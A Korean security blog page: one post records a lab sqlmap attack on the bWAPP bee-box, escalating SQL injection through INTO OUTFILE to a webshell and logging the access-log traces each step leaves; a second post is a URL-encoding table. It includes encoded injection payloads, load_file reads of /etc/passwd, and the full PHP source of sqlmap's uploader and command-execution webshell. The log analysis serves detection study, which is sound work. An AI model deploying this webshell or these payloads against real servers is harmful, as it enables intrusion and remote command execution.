#INTO OUTFILE 명령으로 SQL Injection 취약점이 있는곳에 웹쉘을 업로드해서 시스템 해킹이 가능

이번 포스팅에서는 SQLMAP을 통해서 해당 공격시나리오로 공격을 하고 행위별로 어떤 로그들이 남는지를 기록

공격환경 : Linux kali 5.2.0-kali2-amd64 (192.168.131.139)

대상환경 : Linux bee-box 2.6.24-16-generic(192.168.131.141 )

Beebox 웹 로그 경로 : /var/log/apache2/access.log
단계별로 계속 공격을 진행하며 로그를 확인하는데 행위별 구분을 위해서
cat /dev/null > access.log
명령어로 로그를 계속 지워주겠음

 

SQL Injection 취약점 페이지

 

쿠키값에 들어가는건 버프로 잡아서 보면됩니다.

 

SQLMAP에서 URL 옵션만 주면 취약점을 찾기 위해서 여러가지 문자열을 대입하는데

SQLMAP에선 이런 패턴들이 확인된다.

 

Boolean Injection 로그 패턴들

192.168.109.44 [02/Apr/2018:16:46:53 +0900]"GET /wordpress/test_action.php?s=-9313%25%22%29%29%29%20OR%207122%3D7143%23 200
192.168.109.44 [02/Apr/2018:16:46:54 +0900]"GET /wordpress/test_action.php?s=-6786%25%22%29%29%29%20OR%206127%3D6127%23 200
192.168.109.44 [02/Apr/2018:16:46:55 +0900]"GET /wordpress/test_action.php?s=-3854%25%22%20OR%205032%3D2125%23 200
192.168.109.44 [02/Apr/2018:16:46:56 +0900]"GET /wordpress/test_action.php?s=-8271%25%22%20OR%206127%3D6127%23 200
192.168.109.44 [02/Apr/2018:16:46:57 +0900]"GET /wordpress/test_action.php?s=-8839%20OR%208112%3D8917%23 200
192.168.109.44 [02/Apr/2018:16:46:58 +0900]"GET /wordpress/test_action.php?s=-8289%20OR%206127%3D6127%23 200
192.168.109.44 [02/Apr/2018:16:46:59 +0900]"GET /wordpress/test_action.php?s=-1088%20OR%207422%3D7650%23 200
192.168.109.44 [02/Apr/2018:16:47:00 +0900]"GET /wordpress/test_action.php?s=-7592%20OR%206127%3D6127%23 200

앞에 음수로 시작되는게 시그니처..? sqlmap 인거 같음(개인적인 생각)

 

Time-base Injection 로그 패턴들

 

192.168.109.44 [02/Apr/2018:16:47:37 +0900]"GET /wordpress/test_action.php?s=asd%27%20AND%20SLEEP%285%29--%20GQaO 200
192.168.109.44 [02/Apr/2018:16:47:38 +0900]"GET /wordpress/test_action.php?s=asd%27%20AND%20SLEEP%280%29--%20GQaO 200
192.168.109.44 [02/Apr/2018:16:47:39 +0900]"GET /wordpress/test_action.php?s=asd%27%20AND%20SLEEP%285%29--%20GQaO 200
192.168.109.44 [02/Apr/2018:16:48:10 +0900]"GET /wordpress/test_action.php?s=asd%27%20OR%20SLEEP%280%29--%20xAht 200

이건 beebox 환경 데이터는 아닌데... 중요한건 Sleep 이란 문구가 붙는다는것.

 

Load_file() 이용

Load_file을 이용하는 이유는 INTO OUTFILE과 관련이 있는데, INTO OUTFILE을 하기 위해서는 MYSQL 사용자가

해당 디렉토리에 쓰기 권한이 있어야 한다. 이러한 권한들을 확인하기 위해서 Load_file()로 /etc/passwd를 보거나

계정정보, 비밀번호 해쉬값같은 부분들 확인할수 있다.

이 방법 뿐만 아니라 SQL 문으로도 확인이 가능한데 mysql.user 컬럼에서 user를 조회하고 권한을 확인할수도 있다.,

--os-shell 은 mysql의 INTO OUTFILE 명령을 사용해서 대상서버에 웹쉘을 올리는건데, 이 명령을 사용하기 위해서는

공격자가 웹쉘을 만들 경로에 mysql이 쓰기 권한이 있어야 한다. 그래서 chgrp -R 옵션을 사용해서 /var/www/bWAPP

디렉토리에 mysql로 쓰기 권한을 주었다.

SQLMAP --OS-shell 실행화면

 

192.168.131.139 - - [10/Dec/2019:06:32:40 +0100] "GET /bWAPP/tmpbwgmz.php?cmd=echo%20command%20execution%20test HTTP/1.1" 200 99 "-" "sqlmap/1.3.12.1#dev (http://sqlmap.org)"
192.168.131.139 - - [10/Dec/2019:06:32:55 +0100] "GET /bWAPP/tmpbwgmz.php?cmd=ls%20-al HTTP/1.1" 200 13266 "-" "sqlmap/1.3.12.1#dev (http://sqlmap.org)"
192.168.131.139 - - [10/Dec/2019:06:40:08 +0100] "GET /bWAPP/tmpbwgmz.php?cmd=hostname HTTP/1.1" 200 84 "-" "sqlmap/1.3.12.1#dev (http://sqlmap.org)"
192.168.131.139 - - [10/Dec/2019:06:40:20 +0100] "GET /bWAPP/tmpbwgmz.php?cmd=netstat%20-nlpt HTTP/1.1" 200 2378 "-" "sqlmap/1.3.12.1#dev (http://sqlmap.org)"

 

--os -shell 명령이 수행되면 위와 같은 로그패턴들이 access.log에 남는다.

그리고 이런 웹쉘 네이밍에 대한 패턴도 sqlmap에선 가지고 있는거같다 그리고 비박스 로그에선 업로드한 파일의 헥스값이 남진 않았는데..

(아마 비박스에 로그남기는 패턴이 있는듯 하다.)

tmpbwgmz.php

tmpuylcm.php

tmpubwwd.php

tmpuzcfx.php

이 php 파일들의 코드를 보면 두가지로 나뉘는데

파일 업로드 취약점이 있는 페이지와 command를 보낼 수 있는 웹쉘 페이지로 나뉘는것 같았다.

SQLMAP에서 만든 파일 업로드 취약점이 있는 페이지 소스코드

<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/bWAPP/> <input type=submit name=upload value=upload></form>";}?>

 

SQLMAP에서 만든 웹쉘 페이지 소스코드

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>

 

결론은 SQL Injection 취약점이 있는 URL에 SQLMAP으로 공격을 하고

데이터베이스 정보 중 mysql 계정의 권한이 디렉토리에 쓰기 권한이 있다면

위처럼 INTO OUTFILE로 공격이 가능한데, 공격할 때 이런 정보들이 남는다.

 

 

참고

: https://blog.naver.com/sunkwang0307/221732833329

'Web Hacking > SQL Injection' 카테고리의 다른 글

HTML URL Encoding Reference (HTML URL 인코딩 참조)  (0) 2020.10.24

HTML URL Encoding Reference (HTML URL 인코딩 참조)

 

URL 인코딩은 문자를 인터넷을 통해 전송할 수있는 형식으로 변환한다.

URL은 ASCII 문자 집합을 통해서만 인터넷을 통해 전송할 수 있다.

URL에는 ASCII 집합 외부의 문자가 포함되어 있는 경우가 많으므로 URL을 유효한 ASCII 형식으로 변환해야 한다.

URL 인코딩은 안전하지 않은 ASCII 문자를 "%" 뒤에 두 개의 16진수로 대체한다.

URL은 공백을 포함할 수 없다. 일반적으로 URL 인코딩은 공간을 더하기(+) 기호 또는 %20으로 대체한다.

 

 

 

URL-encoding : ASCII Character

 

  • %20 : space
  • %21 : !
  • %22 :
  • %23 : #
  • %24 : $
  • %25 : %
  • %26 : &
  • %27 :
  • %28 : (
  • %29 : )
  • %2A : *
  • %2B : +
  • %2C : ,
  • %2D :
  • %2E : .
  • %2F : /
  • %30 : 0
  • %31 : 1
  • %32 : 2
  • %33 : 3
  • %34 : 4
  • %35 : 5
  • %36 : 6
  • %37 : 7
  • %38 : 8
  • %39 : 9
  • %3A : :
  • %3B : ;
  • %3C : <
  • %3D : =
  • %3E : >
  • %3F : ?
  • %40 : @
  • %41 : A
  • %42 : B
  • %43 : C
  • %44 : D
  • %45 : E
  • %46 : F
  • %47 : G
  • %48 : H
  • %49 : I
  • %4A : J
  • %4B : K
  • %4C : L %4D : M %4E : N
  • %4F : O %50 : P %51 : Q %52 : R %53 : S
  • %54 : T %55 : U %56 : V
  • %57 : W %58 : X %59 : Y
  • %5A : Z
  • %5B : [
  • %5C :
  • %5D : ]
  • %5E : ^
  • %5F : _
  • %60 : `
  • %61 : a
  • %62 : b
  • %63 : c
  • %64 : d
  • %65 : e
  • %66 : f
  • %67 : g
  • %68 : h
  • %69 : i
  • %6A : j
  • %6B : k
  • %6C : l
  • %6D : m
  • %6E : n
  • %6F : o
  • %70 : p
  • %71 : q
  • %72 : r
  • %73 : s
  • %74 : t
  • %75 : u
  • %76 : v
  • %77 : w
  • %78 : x
  • %79 : y
  • %7A : z
  • %7B : {
  • %7C : |
  • %7D : }
  • %7E : ~
  • %7F :
  • %80 :
  • %81 :
  • %82 :
  • %83 : ƒ
  • %84 :
  • %85 :
  • %86 :
  • %87 :
  • %88 : ˆ
  • %89 :
  • %8A : Š
  • %8B :
  • %8C : Œ
  • %8D :
  • %8E : Ž
  • %8F :
  • %90 :
  • %91 :
  • %92 :
  • %93 :
  • %94 :
  • %95 :
  • %96 :
  • %97 :
  • %98 : ˜
  • %99 :
  • %9A : š
  • %9B :
  • %9C : œ
  • %9D :
  • %9E : ž
  • %9F : Ÿ
  • %A0 :
  • %A1 : ¡
  • %A2 : ¢
  • %A3 : £
  • %A4 :
  • %A5 : ¥
  • %A6 : |
  • %A7 : §
  • %A8 : ¨
  • %A9 : ©
  • %AA : ª
  • %AB : «
  • %AC : ¬
  • %AD : ¯
  • %AE : ®
  • %AF : ¯
  • %B0 : °
  • %B1 : ±
  • %B2 : ²
  • %B3 : ³
  • %B4 : ´
  • %B5 : µ
  • %B6 :
  • %B7 : ·
  • %B8 : ¸
  • %B9 : ¹
  • %BA : º
  • %BB : »
  • %BC : ¼
  • %BD : ½
  • %BE : ¾
  • %BF : ¿
  • %C0 : À
  • %C1 : Á
  • %C2 :
  • %C3 : Ã
  • %C4 : Ä
  • %C5 : Å
  • %C6 : Æ
  • %C7 : Ç
  • %C8 : È
  • %C9 : É
  • %CA :
  • %CB : Ë
  • %CC : Ì
  • %CD : Í
  • %CE : Î
  • %CF : Ï
  • %D0 : Ð
  • %D1 : Ñ
  • %D2 : Ò
  • %D3 : Ó
  • %D4 : Ô
  • %D5 : Õ
  • %D6 : Ö
  • %D7 :
  • %D8 : Ø
  • %D9 : Ù
  • %DA : Ú
  • %DB : Û
  • %DC : Ü
  • %DD : Ý
  • %DE : Þ
  • %DF : ß
  • %E0 : à
  • %E1 : á
  • %E2 : â
  • %E3 : ã
  • %E4 : ä
  • %E5 : å
  • %E6 : æ
  • %E7 : ç
  • %E8 : è
  • %E9 : é
  • %EA : ê
  • %EB : ë
  • %EC : ì
  • %ED : í
  • %EE : î
  • %EF : ï
  • %F0 : ð
  • %F1 : ñ
  • %F2 : ò
  • %F3 : ó
  • %F4 : ô
  • %F5 : õ
  • %F6 : ö
  • %F7 : ÷
  • %F8 : ø
  • %F9 : ù
  • %FA : ú
  • %FB : û
  • %FC : ü
  • %FD : ý
  • %FE : þ
  • %FF : ÿ

 

 

출처 :

www.w3schools.com/TAGS/ref_urlencode.asp

'Web Hacking > SQL Injection' 카테고리의 다른 글

SQL Injection) 웹쉘 올리기(INTO OUTFILE)  (0) 2021.08.27

+ Recent posts